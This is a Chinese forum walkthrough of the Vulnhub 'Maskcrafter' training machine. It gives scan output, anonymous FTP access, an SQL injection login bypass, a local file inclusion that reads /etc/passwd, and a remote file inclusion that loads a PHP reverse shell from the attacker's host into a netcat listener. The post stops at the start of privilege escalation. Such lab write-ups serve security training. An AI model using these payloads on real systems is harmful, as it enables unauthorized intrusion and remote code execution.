Vulnhub之Maskcrafter靶机详细测试过程

打印 上一主题 下一主题

主题 894|帖子 894|积分 2682

Maskcrafter

识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        
  4.                                                                                                                            
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:06      1      60  Unknown vendor                                                           
  10. 192.168.56.100  08:00:27:4c:3f:93      1      60  PCS Systemtechnik GmbH                                                   
  11. 192.168.56.254  08:00:27:1c:48:cc      1      60  PCS Systemtechnik GmbH  
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 19:59 EDT
  4. Nmap scan report for www.armour.local (192.168.56.254)
  5. Host is up (0.000073s latency).
  6. Not shown: 65526 closed tcp ports (reset)
  7. PORT      STATE SERVICE  VERSION
  8. 21/tcp    open  ftp      vsftpd 2.0.8 or later
  9. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  10. |_drwxr-xr-x    2 112      115          4096 Mar 30  2020 pub
  11. | ftp-syst:
  12. |   STAT:
  13. | FTP server status:
  14. |      Connected to 192.168.56.206
  15. |      Logged in as ftp
  16. |      TYPE: ASCII
  17. |      No session bandwidth limit
  18. |      Session timeout in seconds is 300
  19. |      Control connection is plain text
  20. |      Data connections will be plain text
  21. |      At session startup, client count was 3
  22. |      vsFTPd 3.0.3 - secure, fast, stable
  23. |_End of status
  24. 22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  25. | ssh-hostkey:
  26. |   2048 8f1b43230a248c66ad3da2b969334dd7 (RSA)
  27. |   256 8a2c857c2d9622f698f24ab67a88df23 (ECDSA)
  28. |_  256 aca799159cbf6944d9c2962a8f799b6d (ED25519)
  29. 80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
  30. | http-robots.txt: 1 disallowed entry
  31. |_/debug
  32. | http-title: Maskcrafter(TM) Login Page
  33. |_Requested resource was login.php
  34. |_http-server-header: Apache/2.4.29 (Ubuntu)
  35. 111/tcp   open  rpcbind  2-4 (RPC #100000)
  36. | rpcinfo:
  37. |   program version    port/proto  service
  38. |   100000  2,3,4        111/tcp   rpcbind
  39. |   100000  2,3,4        111/udp   rpcbind
  40. |   100000  3,4          111/tcp6  rpcbind
  41. |   100000  3,4          111/udp6  rpcbind
  42. |   100003  3           2049/udp   nfs
  43. |   100003  3           2049/udp6  nfs
  44. |   100003  3,4         2049/tcp   nfs
  45. |   100003  3,4         2049/tcp6  nfs
  46. |   100005  1,2,3      35771/tcp6  mountd
  47. |   100005  1,2,3      35951/udp   mountd
  48. |   100005  1,2,3      47498/udp6  mountd
  49. |   100005  1,2,3      50685/tcp   mountd
  50. |   100021  1,3,4      45195/tcp6  nlockmgr
  51. |   100021  1,3,4      46199/tcp   nlockmgr
  52. |   100021  1,3,4      48207/udp6  nlockmgr
  53. |   100021  1,3,4      53602/udp   nlockmgr
  54. |   100227  3           2049/tcp   nfs_acl
  55. |   100227  3           2049/tcp6  nfs_acl
  56. |   100227  3           2049/udp   nfs_acl
  57. |_  100227  3           2049/udp6  nfs_acl
  58. 2049/tcp  open  nfs_acl  3 (RPC #100227)
  59. 38041/tcp open  mountd   1-3 (RPC #100005)
  60. 45351/tcp open  mountd   1-3 (RPC #100005)
  61. 46199/tcp open  nlockmgr 1-4 (RPC #100021)
  62. 50685/tcp open  mountd   1-3 (RPC #100005)
  63. MAC Address: 08:00:27:1C:48:CC (Oracle VirtualBox virtual NIC)
  64. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  65. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  66. Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
复制代码
获得Shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  2. └─$ ftp 192.168.56.254               
  3. Connected to 192.168.56.254.
  4. 220 Welcome to maskcrafter(TM) FTP service.
  5. Name (192.168.56.254:kali): anonymous
  6. 331 Please specify the password.
  7. Password:
  8. 230 Login successful.
  9. Remote system type is UNIX.
  10. Using binary mode to transfer files.
  11. ftp> ls -alh
  12. 229 Entering Extended Passive Mode (|||28847|)
  13. 150 Here comes the directory listing.
  14. drwxr-xr-x    3 0        115          4096 Mar 21  2020 .
  15. drwxr-xr-x    3 0        115          4096 Mar 21  2020 ..
  16. drwxr-xr-x    2 112      115          4096 Mar 30  2020 pub
  17. 226 Directory send OK.
  18. ftp> cd pub
  19. 250 Directory successfully changed.
  20. ftp> ls -alh
  21. 229 Entering Extended Passive Mode (|||63424|)
  22. 150 Here comes the directory listing.
  23. drwxr-xr-x    2 112      115          4096 Mar 30  2020 .
  24. drwxr-xr-x    3 0        115          4096 Mar 21  2020 ..
  25. -rw-r--r--    1 0        0             430 Mar 30  2020 NOTES.txt
  26. -rw-r--r--    1 0        0             229 Mar 23  2020 cred.zip
  27. 226 Directory send OK.
  28. ftp> get NOTES.txt
  29. local: NOTES.txt remote: NOTES.txt
  30. 229 Entering Extended Passive Mode (|||15955|)
  31. 150 Opening BINARY mode data connection for NOTES.txt (430 bytes).
  32. 100% |********************************************************************************|   430      273.03 KiB/s    00:00 ETA
  33. 226 Transfer complete.
  34. 430 bytes received in 00:00 (224.31 KiB/s)
  35. ftp> get cred.zip
  36. local: cred.zip remote: cred.zip
  37. 229 Entering Extended Passive Mode (|||30982|)
  38. 150 Opening BINARY mode data connection for cred.zip (229 bytes).
  39. 100% |********************************************************************************|   229      427.59 KiB/s    00:00 ETA
  40. 226 Transfer complete.
  41. 229 bytes received in 00:00 (197.90 KiB/s)
  42. ftp> quit
  43. 221 Goodbye.
  44.                                                                                                                              
  45. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  46. └─$ cat NOTES.txt     
  47. Dear Web Administrator,
  48. I've got a few points to make:
  49. 1.) Please choose a stronger password for /debug web-directory.
  50. Having a username as 'admin' is already guessable but selecting a dictionary password is a big NO-NO.
  51. 2.) Please revisit the SQL code to prevent SQL injections because the way it is now, it is absolutely terrible.
  52. Basically, we are hoping and praying that no hacker ever finds out about this.
  53. Regards,
  54. Root
  55.                                                                                                                              
  56. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  57. └─$ ls -alh
  58. total 20K
  59. drwxr-xr-x  2 kali kali 4.0K Apr  9 20:00 .
  60. drwxr-xr-x 83 kali kali 4.0K Apr  9 19:54 ..
  61. -rw-r--r--  1 kali kali  229 Mar 23  2020 cred.zip
  62. -rw-r--r--  1 root root 2.7K Apr  9 19:59 nmap_full_scan
  63. -rw-r--r--  1 kali kali  430 Mar 29  2020 NOTES.txt
  64.                                                                                                                              
  65. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  66. └─$ unzip cred.zip      
  67. Archive:  cred.zip
  68. [cred.zip] cred.txt password:                                                                                                                              
  69. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  70. └─$ zip2john cred.zip > hashes
  71. ver 1.0 efh 5455 efh 7875 cred.zip/cred.txt PKZIP Encr: 2b chk, TS_chk, cmplen=47, decmplen=35, crc=5D29BC84 ts=63CD cs=63cd type=0
  72.                                                                                                                              
  73. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  74. └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
  75. Using default input encoding: UTF-8
  76. Loaded 1 password hash (PKZIP [32/64])
  77. Will run 2 OpenMP threads
  78. Press 'q' or Ctrl-C to abort, almost any other key for status
  79. 0g 0:00:00:01 DONE (2023-04-09 20:00) 0g/s 9562Kp/s 95
复制代码
john没有破解出credit.zip密码,而且作者有提示,不需要使用破解方法。
  1. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  2. └─$ showmount -e 192.168.56.254                                
  3. Export list for 192.168.56.254:
复制代码
目标主机没有NFS共享目录。
Kali Linux访问80端口,为用户登录界面,用admin' or 1=1 -- 即可轻松绕过。
登录成功后,在页面源代码中有注释:
  1. <i>This webpage was created out of urgency and as such some features are still buggy and may not work as intended.</i><br><pre>DB connection ok.</pre><hr>Development in progress, please report any bugs to admin@covid19.localhost<pre>Due to the increase demand for our product, you are to ramp up your productivity by 200%, else suffer a pay cut!</pre>
  2. <html>
  3. <head><title>Employee page</title></head>
  4. <body>
  5.         <h3>Welcome admin' or 1=1 -- !</h3>       
  6.        
  7.         <a target="_blank" href="https://www.cnblogs.com/logout.php">Logout</a>
  8. </body>
  9. </html>
复制代码
访问注释中的链接。
访问下面的URL,返回的页面没有变化,但是注释参数page,可能存在本地文件包含漏洞
  1. http://192.168.56.254/index.php?page=warning.php
复制代码
  1. http://192.168.56.254/index.php?page=../../../../../etc/passwd
复制代码
访问上述URL得到:
  1. root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  3. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  4. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  5. sync:x:4:65534:sync:/bin:/bin/sync
  6. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  7. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  8. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  9. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  10. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  11. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  12. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  13. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  14. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  15. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  16. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  17. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  18. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  19. systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  20. systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  21. syslog:x:102:106::/home/syslog:/usr/sbin/nologin
  22. messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
  23. _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
  24. lxd:x:105:65534::/var/lib/lxd/:/bin/false
  25. uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
  26. dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  27. landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
  28. pollinate:x:109:1::/var/cache/pollinate:/bin/false
  29. sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
  30. userx:x:1000:1000:userx:/home/userx:/bin/bash
  31. mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
  32. researcherx:x:1001:1001:,,,:/home/researcherx:/bin/bash
  33. ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
  34. statd:x:113:65534::/var/lib/nfs:/usr/sbin/nologin
  35. evdaez:x:1002:1002:,,,:/home/evdaez:/bin/bash
复制代码
接着测试一下是否存在远程文件包含漏洞:
在Kali Linux启动http
  1. http://192.168.56.254/index.php?page=http://192.168.56.206:8000/test.txt
复制代码
得到返回:
  1. jason,great
复制代码
说明目标主机存在远程文件包含漏洞。
接下来在Kali Linux准备好php reverse文件,然后访问该文件从而得到shell
  1. http://192.168.56.254/index.php?page=http://192.168.56.206:8000/shell.php
复制代码
  1. ┌──(kali㉿kali)-[~/Vulnhub/Maskcrafter]
  2. └─$ sudo nc -nlvp 5555                        
  3. [sudo] password for kali:
  4. listening on [any] 5555 ...
  5. connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 39276
  6. Linux maskcrafter 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  7. 08:15:22 up 17 min,  0 users,  load average: 0.00, 0.00, 0.02
  8. USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  9. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  10. /bin/sh: 0: can't access tty; job control turned off
  11. $ which python
  12. /usr/bin/python
  13. $ python -c 'import pty;pty.spawn("/bin/bash")'
  14. www-data@maskcrafter:/$
复制代码
提权

[code]www-data@maskcrafter:/var/www/html$ cat db.phpcat db.php
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

惊雷无声

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表